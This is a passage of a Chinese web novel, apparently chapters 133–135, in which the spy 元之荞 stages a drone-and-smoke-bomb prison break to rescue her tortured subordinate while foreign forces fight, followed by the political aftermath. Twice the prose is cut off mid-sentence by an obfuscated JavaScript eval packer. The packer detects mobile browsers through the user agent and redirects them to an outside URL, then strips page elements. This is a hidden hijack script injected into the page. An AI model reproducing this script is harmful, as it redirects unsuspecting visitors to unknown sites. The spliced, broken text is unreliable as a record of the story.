中午1:22。 换上医生服装的元之荞:“一组留下操控机器并听口令行动;二组跟我;三组见状突围。” “是。”三组人整齐地回答。 元之荞点头,准备再去检查一下设备,腰间的对讲机忽然响起:“组长,有车来了,两辆越野,没有标识,但第一辆车的副驾驶是郑弘扬,报告完毕。” 元之荞嘴角勾起,人终于来了。她拿出对讲机,“距离多远?完毕。” “三公里,报告完毕。” 元之荞关闭对讲机,看向组员:“行动。” “是。” * “喂,你们干什么?”门口站岗的警员拿着枪,一边指向元之荞,一边谨慎地盯着元之荞身后的两个男人。 “郑处长怎么回事?”元之荞皱眉,手背撇开身前的枪,“66号委员三处的郑弘扬处长,不是和你们所长交代过了吗?”元之荞指着身后俩白榆背的巨大医疗箱,“是他要求我们来看病的。” “什么病?”警员听到郑处长的名字,稍稍放下了戒备。 元之荞扭头,看向警员:“我怎么知道,他说病人保密,我们到了只需负责治疗,其他一律不要多问。” 元之荞所说符合来这里的医生习惯,警员盯住元之荞的脸,没有看到说谎的迹象,于是缓慢放下了枪:“等着,我去通报所长。” 元之荞表现出一点不耐烦,她转过身,看向外面大铁门,留意着越野车的进度。 她没等一会,杨所长就出来了。杨所长个子很矮,平头,一双三角眼配着一张扁平的嘴,模样有些刻薄阴毒。 平房的钥匙被他全挂在皮带下,几串连成一排,走起路来叮叮当当。杨所长一看到元之荞就亮起了眼神,止不住地上下打量:“这位小姐,你们来干什么的?”虽然在路上已经听属下说过了,但他还是故意又问了一遍。 白榆不愿自家组长被人如此打量,于是代替元之荞作了回答。 而杨所长发现说话的是个高大男人,顿时露出不高兴表情,啧了一声:“郑处长的确和我说过要带几个医生来,但他说的是洋医生,”杨所长盯向元之荞的脸蛋,慢慢走到她身侧,眼神下移,“也没说是个女医生啊。” 元之荞面不改色,后面两个白榆却同时皱起了眉。 “你质疑我?”元之荞斜睨杨所长,将语言换成了英文,并且拿麦克上将说事,可惜杨所长听不懂洋文,直接粗暴地打断了元之荞的话。 元之荞眼露不悦,估摸着时间差不多,她扭头看向大门,果然见到了开过来的黑影:“既然你这种态度,那直接问郑处长吧。” “郑处长?”杨所长面带疑惑,顺着元之荞的视线看去,“郑处长也来了?” 元之荞留意着对方的表情,确定他也看到了车,于是快速错身一步,挡住了杨所长的视野:“等郑处长解释后,你必须要向我道歉。” “道歉?”杨所长双眼吊起,心中已然相信元之荞是遣派医生,不然她怎么可能这么笃定?杨所长对着元之荞的目光换上了审慎,女人可以搞,洋女人可不能随便搞。他刚想说什么,忽然就听远处传来一阵低沉的嗡声。 元之荞眸中闪过一丝赞赏,时间掐得恰好。她往旁挪一步,也向着声音的方向望去。只见空中一个黑色的东西,正从越野车的身边向着他们飞来。 胡菲盯着显示器上的绿点,其中三个挨在一起,隐约形成一个三角形,她忍不住叮嘱:“小心点,等听到口令再炸。” “知道。”操控飞行器的白榆也有些紧张,他看着飞行器上传来的模糊影像,小心地控制方向,往元之荞身边飞去。 “那是什么?”守在外面的警员纷纷抬头,一齐望向天空。 “好像是飞机?” “飞机哪有那么小的?玩具飞机还差不多。” “这玩意不会是那边车放过来的吧?” “和车一个方向来,肯定就是啊……”飞行器逐渐接近元之荞,警员们终于看清了天上的东西,“娘耶……是会飞的蜘蛛!” “都站好,别吵。”杨所长仔细辨认着空中的物件,他也不知道那是什么,只觉得心中莫名不安。 而元之荞看到飞行器后,当即做出一副惊恐的表情,一边喊一边慌张地往门内跑去:“炸弹,是炸弹!” 听到口令的两名白榆即刻跟上元之荞,一起往大门内跑。杨所长见状,下意识就想去拦元之荞,可飞行器紧追元之荞,他也担心真是炸弹,于是放慢了步伐。 眼见元之荞三人往平房内躲,看守警卫却惧怕那不知名的东西,竟直接跑没影了,让三人毫无障碍地钻进了门,杨所长急得发号施令:“射下来,把天上那玩意射下来!” 元之荞快速戴上口罩和防护镜,捏住上衣口袋的通讯仪:“放。” 接到指令的飞行器突然加速,在警员瞄准之前,将烟雾弹精准地投到了平房入口。 爆炸声响起,随后是浓烈的烟雾。烟尘呛人,杨所长立刻被烟迷了眼,弯下腰来,咳嗽声此起彼伏,元之荞去而复返,举枪对准杨所长,果断扣动了扳机。 枪声在迷雾中响起,众人听见纷纷惊慌失措,杨所长惨痛一叫,继而又被元之荞一脚踹倒。她动作飞快,从医疗箱拿出剪刀,剪断杨所长的皮带,一把扯走他所有的钥匙,分给两个白榆:“放人,行动要快。” “是。” 元之荞背起医疗箱,抬步时却被杨所长抓住脚踝:“你……你是……” 元之荞毫不客气再补一枪:“问郑弘扬。” 杨所长哀嚎着松手,元之荞迅速离开,快步往平房里跑去。 与此同时,大门外的郑处长和丑国人看到平房升起烟雾,立刻急得一脚油门踩到底:“上帝,真和你说的一样,英国人已经行动了!” 飞行器又投了一枚烟雾弹,带着防护透视镜的三组,见越野车正飞驰而来,有条不紊地把炸药包放到平房的角落,然后架起枪对着车胎,忽地喊了一句:“郑处长带丑国人劫狱了!” 枪声又起,并且接二连三,杨所长侧躺到地上,双手紧紧地抱住头,警卫慌不择路,避开枪声的方向,纷纷躲到掩体后。 越野车发出尖锐的刹车声,此时,枪弹停止,三组白榆立刻撤离,安全退到后方大本营中,就连飞行器也趁乱飞回,搅得白烟逐渐散开。 “所长!”一个挨得近的警员首先发现了中弹的杨所长,小跑着过去扶人。 杨所长气急败坏,抬头时正好看到了开门下车的郑弘扬:“杀!胆敢联合洋人劫人,都给我杀了!” 听到命令的警卫架枪对准越野车,就要来个先下手为强,而丑国人也不是吃素的,指挥官开口就骂:“Shit!郑,给你说中了,看来英国人早有防备,反击,扫射,绝不能让他们先劫走乌麦!” 平房内。 早在狄昇配钥匙时,扮作锁匠的白榆就多配了一把钥匙,如今元之荞正拿着这把钥匙快速经过审讯室,准备去关押区域找人。 血腥味总萦绕在鼻尖,像是死神在暗中窥伺,元之荞担心愈发沉重,她不由得加快了步伐,迫切地想找到李成。 “外面怎么回事?”狄昇蹲在地上,隐约听到了枪声。 助手立刻自己出去看一下,有情况再回来汇报。 狄昇点了点头,等助手的背影消失,他继续拿着画像询问李成:“是她吗?乌麦?” 此刻的李成已无法抬头,佝偻着,带血的唾液与汗水流到一处,缓缓地从嘴边滴落到大腿上。 “我再问一遍,是她吗?”狄昇有些不耐烦,他抬着眼向李成,眼皮撑起,露出大片的眼白,“你只要回答‘是’或‘不是’,要是还这样装死,我不介意让你真的死。” 李成一动不动,狄昇见状,当即用力拍向李成血淋淋的膝盖。这一下,瞬间让李成痛苦地叫了出来。 狄昇看到李成因痛而扭曲的五官,突然笑了出来,而李成裤子上的血迹再次濡湿,他才停下手,然后嫌恶地把手套上沾到的血抹到李成衣服上:“看清楚了,要是这次你还不回答,我就把你的家人一起抓来,放在隔壁,让你天天欣赏你老婆的折磨。” 狄昇嘴角咧出邪笑:“找画师的时候,我们也找到了你家的住址,你老婆怀孕七个月了吧?” 李成眼皮颤动,听见这话,他的视线终于缓慢地聚焦到肖像画上。只一眼,他就认出了画像上的确是元之荞。 “是她吗?乌麦,元知荞。”狄昇问得很慢,每一个字却像是电报机用力地敲在李成心上一般。 李成想起杨黛,想起她曾经拒绝自己的理由。 [杨黛:我怕的太多了,我怕生离死别,怕有父有子……怕敌人会拿这些胁迫我,但我最怕的是,我也会因此说出组织的秘密……] 李成眼里噙住浑浊的泪水,那时的他信誓旦旦…… “是她吗!”狄昇已经完全没了耐心,他站起身,右手摸上仓袋里的手枪。 “是……” 突然的回应让狄昇有些惊喜,他走近一步,语速很快:“真是乌麦元知荞?” “是。”李成的声音更弱了,可已经开口的事,再说便没那么困难,他的头垂得更深,他也知道,此刻之后,他将永远无法再抬起头。 “好,”狄昇的心情一下变得极好,他右手抽出枪,缓慢地拨动保险栓,“既然你帮了我这么大一个忙,那我就了你速死的心愿。” 李成感到有什么冰凉的东西贴近了自己的太阳穴,他的心很平静,却也感觉有无穷无尽的怅惋在呼啸而过。 砰。 子弹射出枪膛,但击中的不是李成,而是狄昇的大臂。 狄昇痛得松开手,枪挂在手指上,半落未落,“谁!”他捂住伤口,刚看清举枪人,一发子弹就又射中了他的肩膀,枪彻底掉于地面,砸到李成脚边。 “李成?” 元之荞的声音响起,如一汪冷冽的清泉,李成心中惊异,以为是自己临死前的幻听。 “别动,”元之荞用枪指着狄昇,逼狄昇退离李成,她的余光看到李成被血染红了的长裤,胸中怒火中烧,“李成,人要是没死,就给我回应!” 是……部长吗?是之荞来了吗? 李成嘴唇颤动,他咬紧牙关,努力抬头,可眼前模糊一片,只能看见一个偏瘦的举枪身影:“部……长?” 元之荞松了口气,虽然不知道李成在说什么,但只要活着就好,她眸光一凛,快步上前,毫不犹豫地对狄昇的双腿开了两枪。 一枪中,一枪没中,但狄昇却因此跌倒在地,他痛叫一声,急忙去捡地上的枪,元之荞不给他反击的机会,对着狄昇再度开枪,而狄昇的扭动幸运地躲掉了几发子弹,他这时知道元之荞不敢伤李成,便拼了命地往李成方向躲,并试图先搞死李成。 千钧一发之际,元之荞用最后一发子弹击中了狄昇的另一只手,让他彻底无法开枪。 元之荞抓上通讯仪:“一组定位,三组爆破,快。”她冲到李成身边,放下医疗箱,先用里面的工具剪断缚住李成手脚的链条。 狄昇半死不活,躺在一边看着元之荞的侧脸,他越看越眼熟,最后挣扎着问了一句:“乌麦?元知荞?” 元之荞不理狄昇,之所以留他一命,不过因为他还有作用。 狄昇怎能忍受元之荞这样的态度,他就算痛得咬字不清,也要把李成告诉66号的信息都讲一遍,以此试图刺激元之荞,并让她感受到背叛的痛苦。 元之荞听得实在厌烦,终于给了他一个眼神:“你叫狄昇?听杜盛云说你尤为自信于自身才能?” “你怎么知道杜盛云?”狄昇眯起双眼,宛若一条淬毒的鞭子。 面上嗤笑的变成了元之荞:“听说你一直在找我的属下杜盛云,所以当初被诬陷下马那事,你一定记到了现在吧?” 这事一直是狄昇内心的耻辱和不甘,为了报复,他不惜亲手推姑父上枪决绞刑…… “你的属下?”狄昇的声音带上了威胁,“所以陷害我的事,是你安排的!” “你才知道?”元之荞轻挑眉尾,嘴角噙着一抹嘲讽,“既然这样,你应该也不知道我给你发的那些电台信息,其实都是乱码吧?” “你!”狄昇显然气得狠了,不管不顾地就要爬过来报仇,元之荞压根不与他废话,捡起地上的枪,对准狄昇的膝盖就是一枪,彻底废了他的一双腿。 如今狄昇四肢中弹,想要再行动,只能顶住锥心之痛,他无能狂怒:“我要杀了你,我要杀了你。” 元之荞解开李成所有的束缚,马上去医疗箱中找绷带:“以彼之道还施彼身,不过是利息而已。” 巨大的屈辱和戏弄感贯穿了全身,狄昇不甘认输,开始发狠话:“我们已经拿到你的画像,66号迟早会找到你……” 看到李成身体颤抖,元之荞眉头紧锁,扭头对着狄昇就是一吼:“闭嘴,”她忽地起身,用力给了狄昇一脚,踢得他嘴角吐出血沫,“本来还想留你一命,但我改主意了,”元之荞卸掉枪里 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元之荞呵了一声,不解气地又补两脚,直把狄昇踢成一只蜷缩的虾米:“一个连对手都称不上的失败者而已,要不是还有点用,你说我为什么要留你性命。” 狄昇安静了下来,先头的愤怒像被浇了冰水,如今只剩滋滋的水汽。 元之荞看着他,重新走回李成身边,解开束缚后迅速帮李成包扎伤口。 杀了狄昇很容易,但对狄昇,元之荞既要杀人也要诛心。先前狄昇不惜倾家荡产,也要买通地头蛇帮自己越狱,说明他惜命且高傲,但当他想到自己将先后落入白鸽和66号,从屈辱再到折磨,还要面对元之荞这个总能提前一步的人,狄昇的自尊心将受到极大折辱。 他不愿活着受辱,也不愿意面对死亡,两边对他来说,都是死路。 但元之荞觉得,他会挣扎着选择自我了结,毕竟66号可比死亡可怕,这也是她扔给他一颗子弹的原因。 元之荞不再管狄昇,开始专心处理李成的伤口。但即使冷静如她,即使见过了许多战争的场面,当元之荞看到膝盖时,仍是心生动摇,不知该从何处下手,她竭力隐藏着难过:“小成哥,我不是医生,所以你忍着点。” “小成哥”这个称呼一出现,李成原本颤抖的身体忽然怔住,他的眼里控制不住地涌出泪水,泪珠大滴大滴,砸到鲜血半干的裤子上。 元之荞注意到了,她用肩膀快速蹭掉汗水,放轻动作:“抱歉小成哥,我尽量快,你再忍一下。” 李成头颅垂坠,咽下去的血变为无边的悔恨,他薄薄的眼皮兜不住,他红腔的心脏装不下,于是羞愧和痛苦便从他残破的身躯里溢出,化成眼泪,化成自责,也化成死志。 他不配成为元之荞的护卫兵,他不配被元之荞救援。 “对不起。”他的声音很小,带着哽咽,带着嘶哑,也带着决绝。 元之荞手指一顿,接着绑紧了绷带:“没关系。” 李成沾血的眼皮轻轻动了动,可眼神依然静如死寂。 “我知道你什么意思,所以没关系,”元之荞小心地避开李成身上明显的伤口,做好固定,“狄昇刚才说的东西,有关于我的,我都没关系,我原谅你。” 听到这话,李成的身体动了动,不知是因为疼还是因为触动。 “身体疼痛时会引发自我保护机制,大脑则会做利于个体生存的选择。所以在长时间的折磨中,几乎没有人类在知晓有轻松选项后,还拼了命地忍受痛苦,选择不把机密告知敌方,小成哥你也是人,不要把自己排除在外,”元之荞看着一直低头的李成,像小时候那样,轻轻拍了拍李成的肩膀,宽慰道,“就算是钢铁般的意志,在不断淬炼锤打中,钢铁也有变脆而断裂的那刻。” “所以我从未想过指责小成哥,但小成哥如果觉得对我抱歉,那我告诉你,我原谅你了。而且人总有犯错的时候,只要有改过的机会就好。66号得到的消息,我和华常委都有办法补救,小成哥你不要有不好的想法。” 泪水再次滚落,李成颤抖着,微微抬起头,努力地想要看向元之荞。 通讯仪震动了两次,元之荞知道该撤离了,她打开对讲机塞进胸前口袋,然后把医疗箱中有用的东西都拿出来,再小心地绑上李成,将他固定到自己背上:“现在没有担架,小成哥坚持一下,我马上背你出去,然后我们去医院。” 元之荞给了他一个微笑,带着庆幸与诚挚,而李成终于抬起了头,他热泪满盈,喉头发紧,轻轻地颔了颔首。 元之荞背着李成离开审讯室,踏出门前看了一眼狄昇,发现狄昇动了动,身子爬向手枪,口中喃喃说着什么。 “正在撤离,爆破时注意狄昇,他要是没自杀,直接了结,”元之荞和对讲机那边联络,“外面情况怎么样,完毕。” “组长!”对讲机传来胡菲的声音,像是确认了元之荞安全后的激动,“射杀狄昇,任务明白,”对讲机里突然换成了另一个白榆的声音,不过下一秒,声音又换回了胡菲,“组长,外面现在很混乱,除了丑国人,英国人也来了。” “我们炸开了关押处,那边的白鸽和新军被尽数救出,你们往关押处撤离,报告完毕。” 元之荞不再管对讲机,她掂了掂身后的李成,短短几天,李成瘦了很多,身体还发着冷,可能是失血过多,她必须尽快带他去医院:“小成哥,准备好了吗?我们要出去了,要是身后有危险,记得提醒我。” “好。”李成的声音虚弱,但回答却很铿锵。 元之荞听到笑了,他终于有些变回了原来的那个小成哥,她顶着细汗,尽快走向里面的关押处,墙外是此起彼落的爆炸声,而她的声音却透着希望与欣悦,也鼓舞着李成:“小成哥,那你一定要坚持住,保持清醒,等出去了,才能去看小黛姐,然后接受组织的检查。” “身子养好了,你们就养孩子……”汗水滴进元之荞眼睛,她眯蒙着眼,努力适应不适,“我虽然原谅你了,但处分还得看白鸽,不过你放心,我会帮你宽大处理。” “我们马上就要胜利了,以后的日子一定会很长,以后的日子也一定会很好,小成哥,你一定要活到那个时候,这是我的命令。” 元之荞胸前的萤光一闪一闪,像跟随着元之荞的呼吸在规则律动。 “好。”李成轻声应着。 我服从命令,我要活到那个时候,我一定要努力活到那时候。 泪水无言地冲刷着李成脏污的脸,像是雨水洗刷着枯木。或许风雨之后,早已枯死的木头也能迎来新的生机,突破它原本规定好的生命轨迹,重新获得自我。 134. 第 134 章 中午2:14。 元之荞带李成走过天井,阳光热烈,虽然只有两步,但这股暖意却让李成记了许久。 关押处坍塌两面墙,白榆的三辆车,一辆载着被救人员离开,一辆躲在不远处与洋人对峙,而剩下一辆指挥小车不知道藏在了哪里。 平房外炸声不断,平房内似乎也响起了脚步声,元之荞卖力地往阳光处迈进,地上的砖块已被简单清理,并没有多少障碍,就在元之荞他们离坍塌口还有几米时,墙外突然震起一声巨大的炮响。地面微微晃动,墙外的阳光瞬间混杂粉尘,元之荞竭力稳住后背的李成,开始呼叫对讲机:“一组,什么情况?” “组长,英人因为害怕把我们所有的飞行器都炸掉了……咳咳,我们现在没法投递烟雾弹进行掩护,您往右二的坍塌口出来,胡菲……”对讲机传来滋滋的电流声,随后就没了声响。 “之荞……后面有人。”李成虚弱地提醒元之荞,元之荞定了定神,也隐约听到了枪声,她果断把对讲机扔在这里,压下身,一边注意四周,一边往对讲机说的方向疾速走去。 外面如今一片混战。 丑国人与杨所长他们交战,杨所长败在武器装备上,根本没能坚持十分钟,驻守警员便死了个七七八八。杨所长撑着痛苦,硬生生爬进了平房,他急得火烧眉毛,抓到电话就给隔壁新兵训练营拨去求援,结果接线员却说新兵全部外出,整个船厂只留下站岗的十人。 “那你还不赶紧把人叫回来!再不快点,整个关押所就要被洋人炸空了!” 接线员听到这个消息,登时急得把电话摇出了火:“市政厅吗?不好了,好多洋人架着大炮来平房三所抢乌麦了……” “娘的,”电话那头拍案而起,隔着电话线接线员都能听到杯子碎裂的声音,“把士兵调回去,快!” 当丑国人准备直闯平房,英国人不合时宜地来了。 钟以墨远远地坠在英人身后,他带了二十个私募兵,穿着打扮与前面的英人军几乎一样。 前方的英国人一看越野车,立马就认出了那是丑国人。 “Bloodyhell!丑国竟然比我们提前了,难不成市政楼那边的海国语广播,其实就是他们搞出的鬼。快,即刻攻击,绝不能让他们先找到人。” 丑国人刚拿起装备下车,就猝不及防迎来了远处的狙击。 “Shit!英人有援手,汤姆,快找掩护架炮。” 又一轮混战打起,钟以墨在车上用望远镜看到了空中的飞行器,而雇佣兵这时也看到了平房外的硝烟。 “Boss,已经有人比英人先到了,但不知是什么人。” “应该是我要找的人,”钟以墨移动望远镜,同样去看平房,“先确定情况再行动。” 丑国人先击败了杨所长他们,可现在又来了一队全副武装的英国人,双方武器品质虽然相当,但在数量上后来的英人明显占据优势,所以丑国人只能边打边躲平房,试图利用地形反击。 此时的白榆恰好炸掉关押所,声响引起了英国人和丑国人的注意,钟以墨放下望远镜,他看到了三波人,而行动最有纪律的那波赫然出现了一个熟人——康华的前台胡菲。 “支援后面,拦住英人。”钟以墨戴上头盔,果断下了命令。 私募兵跟随行动下车,而英国人准备闯入平房时,猝不及防迎来了狙击。 英人行动队长有些懵,拿着喇叭对雇佣兵喊:“你们怎么回事?自己人不要打自己人!”雇佣兵完全不听,对着“自己人”就是一顿输出,英国人无法,只能两头对敌。 “那些戴头盔的人是怎么回事?”英队长有些气急败坏,让侦查兵火速过来回话。 “队长,”侦察兵捂着击中的肩膀回来报告,“戴头盔的好像不是我们的人。” “What?”英队长猛地抓起观察镜,想要看清对方是什么来路,“Bloodyhell,他们……”骂声戛然而止,英队长无意间看到了空中投递烟雾弹的飞行器,他内心咯噔一下,隐约意识到了不好,“那是什么?怎么感觉和乌麦有关,”他决定相信直觉,立刻下命令,“不管是什么玩意,给我打下来,通通给我把天上飞的打下来。” 前方拖住英人时,钟以墨带着几人赶到了关押所。此时烟雾弹已然炸开,在一片白色烟雾中,钟以墨看到相隔不远的两个坍塌口里似乎出现了人影。 女子的声音在炮火间隙中传来,但隔着头盔,钟以墨听得并不真切。 又是一场爆炸,英人把炮弹炸到了附近,钟以墨的身子跟着大地颤了颤,他忽然看到撤离的皮卡,以及突然出现的胡菲。钟以墨握紧枪,找到一处掩体,暗中跟上了胡菲。 此时的平房内。 丑国人发现审讯室的狄昇自杀,而后面关押所铁门都被打开,顿时意识到乌麦可能已经被人劫走,于是他们加快步伐,一边应付跟上来的英国人,一边往更里面搜寻。 进了平房的英国人也同样发现不对,随即加快了行动。 * “组长?组长听到请回复!”胡菲拿着对讲机,可对讲机里只有电流音,没有元之荞的回复,但很快,对讲机就响起了洋人的声音,随后就是接连不断的枪响,胡菲一把扔掉对讲机,拿着枪就冲进坍塌口,一边跑一边不顾危险地出声呼唤。 “组长,组长你在哪?” “这里。”元之荞背着李成,艰难地从另一个方向出现。刚才她在李成的提醒下,悄悄躲到一出掩体后,正当两人要被发现之时,远处的对讲机忽然响起了胡菲的声音。丑国人被声音吸引,发现只是对讲机后顿时骂骂咧咧。 丑国人这一耽搁又被后面的英国人追上,双方再次对狙,暂时给了元之荞一个逃跑的机会。 胡菲吊起的心稍微松一口气,她扶住李成的后背,示意元之荞往小车的方向跑:“组长快走,我压后护你。” 丑国人和英国人很快就跟了上来,他们自然看到了元之荞和李成,虽然不知道他们两人是谁,但两方士兵都选择了不让元之荞背人离开。 胡菲看到,憋着一股气,对着后面的洋人直接开枪,但她一人自然无法对付七八人,好在有钟以墨暗中补枪,这才阻止了那些飞往元之荞的子弹。 元之荞逃离了平房内,可外面却并不比里面安全。 原本在平房外的英国人和雇佣兵分出了胜负,部分雇佣兵撤离到了钟以墨这边,于是英国人也跟过来,恰好看到了元之荞和李成。 元之荞将李成送上第二辆皮卡,让他们马上撤离,自己将开小皮卡接应胡菲。 此时,英队长看着伤痕累累的李成上了车,下意识认为李成就是丑国人要劫走的乌麦。 “瞄中那辆车,炸了它!”英队长眼中狠戾,“我们得不到的人,丑国也别想得到。” “Yes,sir.” 元之荞上了车,掉头却看不远处的一辆卡车,正将火箭炮瞄准皮卡。车上白榆加李成一共七人,元之荞没有多想,登时握紧方向盘,往卡车的方向踩下了油门。 哔哔—— 汽车的喇叭声嘹亮,很快就引起了英人的注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“找,无论是谁,只要是活的全部处决。”英队长被炸伤了手臂,说出话带着恨意与颤抖。 元之荞头有些晕,她挣扎着起来,又听到了一声刺耳的刹车。 身边盖下了一大片阴影,元之荞心生警惕,抬眼只见一个穿着灰绿色迷彩服的男人打开了车门,他手中握着步枪,头上带着头盔,脸上也有防护面罩,看不清长相。 元之荞忍着疼快速起身,想要躲到旁边的掩体后。 钟以墨:“快走,我掩护。” 他的声音透过面罩和头盔传来,闷闷的,带着一点熟悉感。 钟以墨说完便拉了拉机枪,毫不停顿地往英人方向走去。元之荞并非迟疑之人,看男人真帮自己,她快速地爬上车,预备按计划去接胡菲。 副驾上放了一把手枪和一匣子弹,元之荞快速检查手枪,没问题后插到了腰间。 “组长!”胡菲仍在边打边找元之荞,她手中的枪仅剩两发子弹,要还是找不到人,估计只能命丧于此。 一个英人击中了胡菲的手臂,胡菲用掉两枚子弹解决了对方,可她的动作也引来了英人同伴的注意。对方枪头调转,刹那瞄上了胡菲。 子弹射出枪膛,元之荞的越野及时赶到。子弹击中车身,将车门打出一个洞,直直射进后座的座椅,卡到了座侧李。 元之荞冲着胡菲大喊:“上车!” 135. 第 135 章 胡菲看到元之荞的脸,眼瞳刹时亮了起来。她毫不犹豫打开门,用力跳了上去。 元之荞挂档,油门踩到底,一脚撞开平房外的铁门。尘土在车后翻飞,变成一道土黄色的拖尾。 “后座有医疗箱。”元之荞回头看了眼胡菲。 胡菲龇牙咧嘴地去够白色的箱子,打开后发现里面基本都是处理外伤的药品与医疗器械,可见早有准备:“组长,你还好吗?” 元之荞双眼看着前方:“死不了。” “组长,车怎么来的?”胡菲剪开自己衣袖,粗暴简单地处理伤口。 “有人帮忙,”元之荞冲上岔路口,顺利进入她们预设好的离开路径,这才补了一句,“回去你们查一下这辆车。” 看到元之荞离开,钟以墨本想趁乱杀掉郑处长再带雇佣兵走,却听到了雇佣兵的提醒:“Boss,船厂那边来人了。” 钟以墨最后扫了一眼战场,并未发现郑处长,他快速收枪:“撤。” “Yes,boss.” 躲在车架后面的郑弘扬瑟瑟发抖,他紧紧地蜷缩成一团,试图减小自己的存在感,不让别人发现。 当外面的枪声渐渐熄弱,郑弘扬猫着的身体动了动,可这一动,他就立刻抽了筋,不受控制地往车架外倒去。 郑弘扬因疼嚎了一嗓子,意识到后又立刻闭紧了嘴巴,他拼命用手撑地,想要忍着疼撑回车架后。 “郑弘扬?”躲在平房废墟后的杨所长听到声音,登时喊了出来。 杨所长看到不远处的军阀新兵,己方人员的到来一下就给了杨所长底气,他念着元之荞说过的那句话,势必要找郑弘扬问个清楚。 郑弘扬听到有人喊自己,瞬间吓得不顾疼痛,手脚并用地躲去别处。 “郑弘扬!我看见你了,你这老东西,竟然让人杀我!”杨所长中弹许久却无人包扎,状况有些糟糕,“我要是死了,做鬼也不会放过你。” 比起杨所长的愤怒,郑弘扬心里也憋了一肚子气。他根本不知道发生了什么,只觉得这些洋鬼子办点事都办不好,自己真是发了癫才信了他们的洋屁。他保持着抽筋的姿势往外爬,想要趁无人发觉偷偷离开这里。 丑国八成是去不了,只能先做打算离开蒲城。 “不许动。”军阀援军终于赶到,其中一个正好站在郑处长身侧,拿着步枪对准他的脑袋。其余人则快速冲向平房,警惕地对着平房内的人:“都把把武器都放下。” * 元之荞她们进了新军的据点医院,与此同时,军阀押着丑国人、英国人、杨所长和郑处长等人回了巡捕房,平房清理时有不少尸体,除了洋人、雇佣兵,还有狄昇和他的助手,但关押的人却无一例外被放了出去,不知所踪。 第二天,各国大使馆纷纷派出话事人与军阀吵架,而军阀内部的调查科与66号也赶着掺一脚,白鸽暗中观察,时不时漏点消息搅动风向。 杨所长:“我看得清清楚楚,事实就是郑弘扬那老登带丑国人闯了进来,他们先派探路的机器和特务迷惑我,然后把乌麦等人抢走。丢失的囚犯,肯定都在丑国人手里。这事清算,就得算在郑弘扬和丑国人身上。” 66号急忙表态:“这事算三处处长郑弘扬的个人行为,与我们66号无关。” “怎么无关。”郑弘扬跳了出来,他知道只有牵扯得够广,自己才有时间联系外面,也有更多机会减轻罪责,于是眼珠一转,果断把知道的内幕全说了出来,66号负责人听得想一枪崩了郑弘扬,总长更是用力拍一下桌子,这打断了郑弘扬的话。 郑弘扬心中不服,对着那群心照不宣、彼此打量的洋人道出了自己的消息:“我也是被利用的,电话里的人自称丑国人,而且她说的东西,也只有丑方和我说过。肯定是丑国人自导自演,这样欺骗利用了我!” “郑,你别胡说,”丑国话事人也站了起来,他吹着胡子,“我方工作人员里压根没有女人,怎么可能是一个女人打电话给你告诉你英方要来?”他蓝色的眼珠转向秃顶的英方,“我看说不定是你和英方做戏,明目张胆地想要坑害我们。” 英国话事人原本还乐呵地看戏,结果听到污水往这边泼,登时也站了起来:“我看你才是胡说,真是好笑,我们压根没有和郑处长联系过,搞鬼的是你们丑国才对……广播爆料的是个海国男人,而你们丑国在全世界抗战联盟建立前就一直资助买卖给丑国武器和物资,你们丑方与海方合作多年,谁知道这是不是你和海国人联合的阴谋……” “Bullshit!”丑国话事人再次拍案,“你们英方没有和郑处长联系,但你们却和调查科联系过了,我看你们就是抢走了乌麦还在这里胡乱咬人。” 调查科:“这可不兴瞎说啊,我们和英方说的都是正经事。再说,人家英方说之后还有冒充英方的人出现,那几具死尸就是证明,可见人家英方才也是受害者……可能是螳螂捕蝉黄雀在后。” 洋人们听不太懂:“你说什么?什么蝉?” 潜伏的白鸽上前一步:“您这样说,是不是已死的狄昇与他背后的普国做局?因为两方合作的事被广播爆出,所以普方才杀人灭口?那这样看,还是应该严查66号,说不定66号里藏着不少这样里应外合的叛徒。” 66号咬牙切齿,好不容易摆脱的回旋镖怎么又扎回了自己身上,负责人也往前挤了一步:“你们调查科与我们66号一向不对付,你这就是污蔑,我们肯定是清白的,坏的是郑弘扬和狄昇这两颗老鼠屎,总长,您可不能听信调查科的话……您不信的话,我可以把普国请过来当面对峙。” 白鸽看热闹不嫌事大:“请啊,别只说不做,我就不信普国人来了你还能不心虚。” 66号:“你!” 又一白鸽当和事佬,实际是把矛头调到当前的抗战上:“哎哎哎,都别吵了,我认为我们应该更加怀疑海国那边,毕竟广播里的海国语流利标准,不是本土海国人或是在海国生活了很长时间的人,说不出这样的腔调。我看这事就是海国人从中作梗,战事出现疲态,所以就用了这种歪点子,让我们全部内讧。” 总长书记插话:“我觉得你说的不对,要是海国人在幕后,他们怎么可能有投弹模型飞机?我看,就是乌麦以及新军的计谋。” “是不是真的模型机还不好说,”白鸽笑笑,“要是当时留下一些,倒是可以据此判断到底是不是乌麦真的出手。” “都是你,”丑国人抓到了英国人的小辫子,“要不是你全炸了,现在还能看看到底是什么机器。” “你还好意思说我们的人?”英国人不甘示弱,“当初那辆小皮卡还剩了一些残骸,是谁看到我们的卡车就扔了炮弹?导致现在连残骸碎片都凑不齐?” 军阀内部部门吵得不可开交,洋人之间也吵得势如水火,总长站在中间一个头两个大,双耳嗡嗡,竟然比早上的破音喇叭还要难受。 这可如何是好,出了这么大的篓子,还牵连到了外方诸多势力,这事一定会捅到他表侄子段公那里,到时候就算他俩有血缘关系,自己这总长的帽子也一定会被扯掉,完了,真他姥爷的全完了。 * 经过两天,李成终于有惊无险,挺过了危险期,不过人还在治疗。 白榆虽然都有受伤,但好在全员健在。 元之荞的伤口也经过处理,伤势并不严重,一周左右就能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283358|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 